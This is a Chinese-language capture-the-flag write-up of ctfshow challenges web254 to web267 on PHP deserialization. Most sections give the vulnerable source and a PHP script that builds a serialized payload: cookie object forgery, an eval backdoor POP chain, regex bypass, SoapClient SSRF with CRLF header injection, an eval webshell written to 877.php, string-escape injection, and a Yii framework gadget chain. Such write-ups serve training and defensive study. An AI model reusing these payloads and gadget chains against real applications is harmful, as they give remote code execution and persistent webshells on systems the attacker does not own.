web254
?username=xxxxxx&password=xxxxxx
最简单的读读码
web255
1 2 3 4 5 6 7 8 9 10
| if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
可以看到$user是反序列化了一个用户在Cookie输入的序列化后的类,因为原来的类是public的,所以选择直接构造符合条件的属性。
1 2 3 4 5 6 7 8 9 10
| <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } $obj = new ctfShowUser(); $s = serialize($obj); echo urlencode($s); ?>
|
payload:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
1 2 3 4 5 6 7 8 9 10
| if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
这次要求username!==passord,用上次的payload显然不行。但是要知道,我们可以直接控制我们输入的类,可以与代码中定义的不同。因此我们直接定义用户名和密码不同的类,再传参:
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfShowUser{ public $username='aaa'; public $password='xxxxxx'; public $isVip=true; } $obj = new ctfShowUser(); $s = serialize($obj); echo urlencode($s);
?>
|
?username=aaa&password=xxxxxx
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } //无用类 class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
我们要利用后门类,就可以通过更改public方法来直接使得在构造类的时候就直接将$this->class定义为后门类,这样就可以再设定后门类,将定义好的后门类也直接序列化。
下面是payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=true; private $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code="highlight_file('flag.php');"; public function getInfo(){ eval($this->code); } } $obj = new ctfShowUser(); $s = serialize($obj); echo urlencode($s); ?>
|
?username=aaa&password=xxxxxx
web258
需要绕过O:数字 或者 C:数字 的正则匹配,用+绕过
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code="system('ls');"; } $obj = new ctfShowUser(); $s = serialize($obj); $s=str_replace('O:','O:+',$s); $s=str_replace('C:','C:+',$s); echo urlencode($s); ?>
|
理论可行,但是在buu的环境下并未尝试成功
web259
给了flag.php中的一节源码
1 2 3 4 5 6 7 8 9 10 11 12 13
| $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
index.php中只有短短的两行
1 2 3 4
| <?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); $vip->getFlag();
|
而且我们并不知道任何的类方法,我们在这里复习一下魔术方法
1 2 3 4 5 6 7 8 9 10 11 12
| __wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 __construct() //对象被创建时触发
|
因此在调用对象中不可访问的方法时,会调用__call方法。
例如我们在本地监听9999端口,构造一个不存在的方法然后访问9999端口便会有如下的监听结果
1 2 3 4
| <?php $ua="aaa"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>"http://127.0.0.1:9999/flag",'user_agent'=>$ua)); $client->getFlag();
|
因此我们注入user-agent,修改Content-Type:
- text开头
- text/html: HTML格式
- text/plain:纯文本格式
- text/xml: XML格式
- 图片格式
- image/gif :gif 图片格式
- image/jpeg :jpg 图片格式
- image/png:png 图片格式
- application开头
- application/xhtml+xml:XHTML 格式
- application/xml:XML 数据格式
- application/atom+xml:Atom XML 聚合格式
- application/json:JSON 数据格式
- application/pdf:pdf 格式
- application/msword:Word 文档格式
- application/octet-stream:二进制流数据(如常见的文件下载)
- application/x-www-form-urlencoded:表单发送默认格式
- 媒体文件
- audio/x-wav:wav文件
- audio/x-ms-wma:w文件
- audio/mp3:mp3文件
- video/x-ms-wmv:wmv文件
- video/mpeg4:mp4文件
- video/avi:avi文件
构造出的payload:
1 2 3 4 5 6
| <?php $ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client));
|
web261
读源码构造code满足弱类型比较将字符串写入877.php(0x36d就是877)
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u='',$p=''){ $this->username="877.php"; $this->password='<?=eval($_GET["zzz"]);'; } } $a=new ctfshowvip(); echo urlencode(serialize($a));
|
web262
字符串逃逸,要抛弃多少字符就写多少个f*ck
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $a=new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";'); echo serialize($a); $umsg = str_replace('fuck', 'loveU', serialize($a));
|
payload:?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";
web263
1 2 3 4 5 6 7 8
| <?php class User{ public $username = '1.php'; public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(urlencode(base64_encode('|'.serialize($user)))); ?>
|
利用php解析差异构造反序列化,从而使得该对象执行__destruct()
web265
借用php的引用
1 2 3 4 5 6 7 8
| <?php class ctfshowAdmin{ public $token; public $password = ["sss"]; } $a = new ctfshowAdmin(); $a->password=&$a->token; echo serialize($a);
|
web266
因为是伪协议直接读取,所以直接将序列化的类传入即可触发__destruct()
因为有过滤但是大小写不敏感所以将类名更改为ctFshow
1 2 3 4 5 6
| <?php class ctFshow{ public $username='xxxxxx'; public $password='xxxxxx'; } echo serialize(new ctFshow())
|
web267
yii框架漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
|